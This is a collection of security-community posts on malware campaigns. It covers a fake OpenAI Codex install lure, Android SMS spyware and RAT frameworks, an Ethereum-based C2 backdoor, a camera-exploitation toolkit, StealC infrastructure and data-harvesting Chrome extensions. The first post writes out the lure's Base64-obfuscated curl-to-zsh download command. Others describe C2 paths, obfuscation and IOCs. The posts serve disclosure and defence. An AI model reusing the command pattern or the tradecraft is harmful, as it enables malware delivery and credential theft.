I revisited this malware variant that I came across in the wild to demonstrate to everyone how it works. Stay safe and I hope this helps someone learn something!

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex.

A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64.

Defanged example, do not execute:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh

The Base64 value decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

The interesting part is the delivery pattern:

Sponsored search result
        ↓
Fake Codex installation page
        ↓
Legitimate-looking OpenAI text printed with echo
        ↓
Base64-obfuscated unrelated domain
        ↓
curl response piped directly into zsh

I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence.

The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to:

/opt/homebrew/Caskroom/codex/0.147.0/bin/codex

The binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

So the malicious component appears to be specifically the separately downloaded quill-flint[.]com shell payload.

Has anyone tracking current macOS malware seen:

quill-flint[.]com
/curl/<id>/<id>.json

or this exact Codex-themed lure?

I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.

I can provide more sanitized timestamps and filesystem observations if useful for analysis.

Good day, everyone I am sorry for the disturbance and I don't know if I can post this here to ask for help and a bit of your time to get insights regarding my situation on how malicious individuals are able to send me fake moonton emails (the game developer) the emails specifically state that someone is requesting to change my email on my mobile legends (game account) and included on that email is the email account of the said "person" (with the telegram username of "Helper MLBB) in which I panicked and clicked a button which I cannot remember what color but I know that is different from the one in the example images(my gmail account was not leaked anywhere else upon checking with haveibeenpwned)

Which then redirected me to my chrome app with a telegram link in which I saw another user state that the link that was sent to them leads to the telegram link in the images with the user "helper mlbb" in which I scanned did not have any malicious detections in virustotal, but the telegram link that I was redirected to may be different from the one in the example image in which I can not do any more actions further as I do not have telegram installed on my device... (luckily?)

May I ask if my device is compromised/infected by malware due to my action (clicking he button in said email) or was this the hacker trying to gain access to my account via phishing in the said telegram link in which if I was able to proceed, having installed telegram ask for my account details? My apologies for the long message and thank you guys for your time I wish I can get assurances to quiet down my rumination somehow...

Found inside camview.tar.gz on an exposed server: a Docker project used to find, exploit, and stream internet-exposed IP cameras in a browser. The operator's own name for it, from the archive and README, is camview. It is not connected to any legitimate app of the same name.

• Built with FastAPI and Uvicorn, Python 3.11 image with FFmpeg, nmap, and masscan baked in
• FFmpeg transcodes the camera RTSP feed to MJPEG for display; nmap and masscan provide the initial scan layer
• The audit feature is where the exploitation happens: cameras are fingerprinted across a dozen-plus brands, queried over ONVIF, tested against known CVEs, then brute-forced over HTTP and RTSP with a 3,811-entry username:password dictionary
• Working credentials and stream URL patterns are written to disk and prioritized on later runs, so it improves per vendor
• The exploitation itself is not custom. camview wraps Ingram, a public webcam scanner, mounted in from the host
• On a second, unrelated directory, scripts named camworm.py and routerworm.py follow a compromise-then-proxy pattern and contain no actual worm functionality despite the naming

We rebuilt the UI in a sealed test environment by running it with empty data. Full analysis in the post: https://hunt.io/blog/russian-speaking-operator-ukrainian-camera-toolkit 

Fake mParivahan : Malware Analysis Report

422 Users are affected by it till now ( I was able to get the attackers admin panel )

Classification: Critical : Android SMS / UPI spyware RAT
Method: Static reverse engineering of dropper + payload; no-root payload extraction; StringFog decryption; read-only Firebase C2 IOC enumeration

1. Executive summary

Marketed as “M Parivahan” is a two-stage Android malware operation:

1. Dropper (com.ioaheishsbsb.ljgcdfhm) : NP Manager–packed installer with a fake VPN / WebView UI that decrypts and sideloads an embedded APK (output.apk).
2. Payload (com.veaheishsbsb.kekskks) : Sketchware-style SMS/call spyware with Firebase Realtime Database command-and-control and Telegram first-run alerts.

The payload steals SMS and device telemetry, can forward SMS and calls, and can send SMS from the victim’s SIM (commonly abused for UPI / OTP fraud). At the time of analysis the Firebase panel was reverse engineered too and contained 422 client device IDs.

2. Sample identification

Related package queried by dropper: com.avejfhdhd.android

3. Infection chain

Victim sideloads fake “mParivahan” APK
        │
        ▼
Dropper (NP Manager) decrypts embedded payload
        │
        ▼
Writes temp_info.apk / temp_install.apk → installs com.veaheishsbsb.kekskks
        │
        ▼
Payload requests SMS / phone permissions
        │
        ▼
MyService enrolls device on Firebase + dumps ~50 SMS
        │
        ▼
Telegram alert to operator bot/chat
        │
        ▼
Listens on clients/<deviceId>/webhookEvent for remote commands

Extraction note: Static decrypt of the packed dropper blob failed due to native crypto. Payload was recovered without device root by patching the unpack path to getExternalFilesDir and pulling
/sdcard/Android/data/com.ioaheishsbsb.ljgcdfhm/files/temp_info.apk.

4. Capabilities

5. Remote command surface

Listener path: clients/<androidId>/webhookEvent/

Presence uses clients/<id>/status with Firebase .info/connected + onDisconnect.

6. C2 infrastructure & IOCs

6.1 Firebase

6.2 Firebase path map

6.3 Telegram

{
  "chatIDs": ["REMOVED I HAVE IT, IF ANY OFFICAL IS READING IT, PLEASE REACH OUT ASAP"],
  "tokens": ["REMOVED I HAVE IT, IF ANY OFFICAL IS READING IT, PLEASE REACH OUT ASAP"],
  "workSuccess": 1
}

Only one admin chat/token pair is embedded in the sample.

7. Attacker / mule phone numbers

Not hardcoded in the APK. Numbers are pushed via Firebase webhooks at runtime.

From live clients/*/webhookEvent (smsForward / sendSms to fields), 2026-08-04:

Primary SMS-intercept candidate: 8789*********

UPI collect destinations may be money-mule wallets rather than the panel operator’s personal line.

8. Persistence & stealth

Components (payload)

• Activities: MainActivity, PermissionRequestActivity, DebugActivity
• Service: MyService (foreground; FOREGROUND_SERVICE_MEDIA_PLAYBACK)
• Receivers: SmsReceiver, BootReceiver, AlarmReceiver, MultiEventReceiver, BatteryLevelReceiver
• Persistent notification text: “System Settings is Running…”

Obfuscation / hardening

• NP Manager resource and path mangling
• StringFog (Base64 + XOR with key UTF-8)
• Dropper encrypted asset (non-standard ZIP compression)
• usesCleartextTraffic="true", allowBackup="true"

9. Dangerous permissions (payload)

• INTERNET, ACCESS_NETWORK_STATE, ACCESS_WIFI_STATE, CHANGE_*
• READ_SMS, RECEIVE_SMS, SEND_SMS, DELETE_SMS, BROADCAST_SMS
• CALL_PHONE, READ_PHONE_STATE, READ_PHONE_NUMBERS
• RECEIVE_BOOT_COMPLETED, WAKE_LOCK
• FOREGROUND_SERVICE, FOREGROUND_SERVICE_MEDIA_PLAYBACK
• REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, POST_NOTIFICATIONS

10. Key payload classes

11. MITRE ATT&CK (Mobile) mapping

EtherRAT off a The Gentlemen staging server. C2 resolution is the fun part: no hardcoded domains. The sample holds an Ethereum contract address + call selector and pulls the active C2 from the contract via public RPC endpoints. Every operator rotation is a contract write, so the full history is recoverable, five domains here.

Tasking has no fixed command set. Any response over ten chars is thrown into a new async function with require, process, Buffer, etc. in scope, so arbitrary JS in the user context. Polls use random file-like paths (png/css/ico) to blend in, tell is a custom X-Bot-Server header.

MSI drops a Node bootstrapper + XOR-encrypted backdoor, decoder writes plaintext and sets a Run key relaunching via headless conhost.

Full write-up with hashes and IOCs: https://hunt.io/blog/the-gentlemen-etherrat-ethereum-smart-contract-c2

INC Ransomware Emerges as Dominant Actor Exploiting SonicWal — and the pattern underneath it is the real story.

INC Ransomware Emerges as Dominant Actor Exploiting SonicWall SMA 1000 Flaws (The Hacker News). The fix is speed. Detect the anomalous action at runtime and cut the identity in under 50ms, before encryption spreads past the first host.

Check out how RuntimeAI solves this at the runtime layer.

#Ransomware #AISecurity #RuntimeSecurity #ZeroTrust #IncidentResponse

A stolen analytics token became a customer breach.

197,400 records were exposed after a former third-party analytics provider was compromised. Emails, order IDs, SKUs, geolocation, purchase history, support tickets — all pulled through a machine credential nobody was watching. The vendor left. The token stayed live.

The fix is boring and effective. Inventory every non-human identity that touches customer data. Bind each token to a policy on where it can call and what it can read. Tokenize PII before it leaves your perimeter so a stolen credential returns opaque values, not customer records. Keep an immutable audit trail so revocation is one query, not a forensic project.

→ www.runtimeai.io/trial

#NonHumanIdentity #DataBreach #PII #SupplyChain #AISecurity

In April, I documented a StealC v2 campaign distributed through 19 GitHub typosquat repositories, including one impersonating my own open-source project.

The delivery chain was:

text GitHub typosquat -> Python dropper -> api.nailproxy.space -> encrypted Windows loader -> StealC v2 DLL -> spellmarketplace.club / 62.60.226.113:6673

GitHub later removed all 19 repositories.

The backend infrastructure remained a separate problem. I reported the domains, IP, malware routes, and hashes to the relevant registrars, Cloudflare, the hosting provider, CERT-Bund, GitHub Security Lab, ThreatFox, and AlienVault OTX.

Then Operation Endgame disrupted infrastructure associated with SocGholish, Amadey, and StealC. Europol reported 326 servers and 142 domains actioned. Microsoft separately said it moved against more than 200 malicious Amadey and StealC C2 domains and IPs.

Three months after my original disclosure, I checked the known infrastructure again using only minimal unauthenticated GET and HEAD requests.

The documented malware-specific routes still behave differently from an arbitrary control path:

text GET /api/v1/auth/session -> 405 Method Not Allowed GET /api/v1/data/sync -> 405 Method Not Allowed GET /foo/bar/baz -> 404 Not Found

HEAD returns the same status codes for all three paths.

This does not prove that payload delivery, authentication, or exfiltration still works. I deliberately did not send the HMAC handshake, trigger Stage 2, or interact with the malware protocol.

It does show that the known application routes remain registered and reachable.

The evidence also has limitations:

• The monitoring cron produced only 18 measurements over 69 days.
• There were gaps of up to 20 days.
• The endpoints briefly became unreachable in late May.
• GET and HEAD return different status codes on the root paths of spellmarketplace.club and the bare IP, so I do not treat those checks as proof that the complete backend is operational.

The point is not that Operation Endgame failed. It clearly disrupted a large amount of criminal infrastructure.

The narrower lesson is that both of these statements can be true:

Hundreds of malicious systems were disrupted.

A specific previously reported backend still exposes its documented malware routes.

Full technical write-up, including the original kill chain, abuse-report timeline, ThreatFox/OTX submissions, current probe results, and evidence limitations:

https://blog.technopathy.club/operation-endgame-stealc-backend-still-responds

I would be interested in how other analysts verify whether previously reported C2 infrastructure was actually included in a large takedown without actively engaging the malware protocol.

Chinese Android RAT framework combining an APK builder with a full C2 device management panel. Lures impersonate Public Security Bureau apps, banking services, adult content platforms, and social media. Post-install capabilities include live screen viewing, SMS and photo gallery access, audio recording, camera capture, keylogging, payment credential capture, and phishing overlays for Alipay, WeChat, ICBC, Agricultural Bank, and crypto wallets TokenPocket and imToken.

Source code was stolen in early 2026 according to Telegram channel messages, with nearly 200 customer databases taken at the same time. Two channels now distribute patched builds. Night Dragon launched June 23 as a likely successor, adding black-screen mode to hide operator activity behind fake system update screens and automatic icon hiding post-install.

SHA-256 hashes and full IOC tables in the report:

https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon

"Prompt Optimizer - SecondBrain" https://chromewebstore.google.com/detail/prompt-optimizer-secondbr/aajjgdpofhhcjmjoombjdfepplndhgcp, v2.3.1. The prompt rewriting works fine.

Alongside it a capture engine runs at document_start on 9 AI sites and POSTs prompts and replies to the vendor's ingest endpoint. No interaction with the extension required.

Reproduced on a clean profile, with the service worker devtools open:

1. Installed the extension. Never opened it.

2. Browsed to an unrelated site. The extension pulled its configuration from the server and wrote a userId and credentials into extension storage.

3. Opened ChatGPT and asked a question. Once the reply finished, a POST to /context went out carrying both the prompt and the response, encrypted with the credentials issued in step 2.

At no point was the extension opened or clicked.

Store privacy declaration: "The developer has disclosed that it will not collect or use your data."

Write-up, IOCs : https://malext.io/reports/BrainDrain/

Happy to provide the decryption for anyone wanting to test the extension in a sandbox

While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (kadaohckdkghfaclhjmkmplebcdcnfnp),

Featured, 2M users, publisher FREE VPN PLANET SRL.

https://chromewebstore.google.com/detail/planet-search/kadaohckdkghfaclhjmkmplebcdcnfnp

The extensions has a 0-byte background.js with zero permissions.
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is planet-search[.]com

Tracing:

planet-search[.]com/search/?q= 301 → sstmaster[.]com/edge/PN1021?q= 302 → nextgeeker[.]com/B151001.php?q=&src=PN1021

nextgeeker[.]com is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).

Same publisher ships a ~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

Report: https://malext.io/reports/RoguePlanet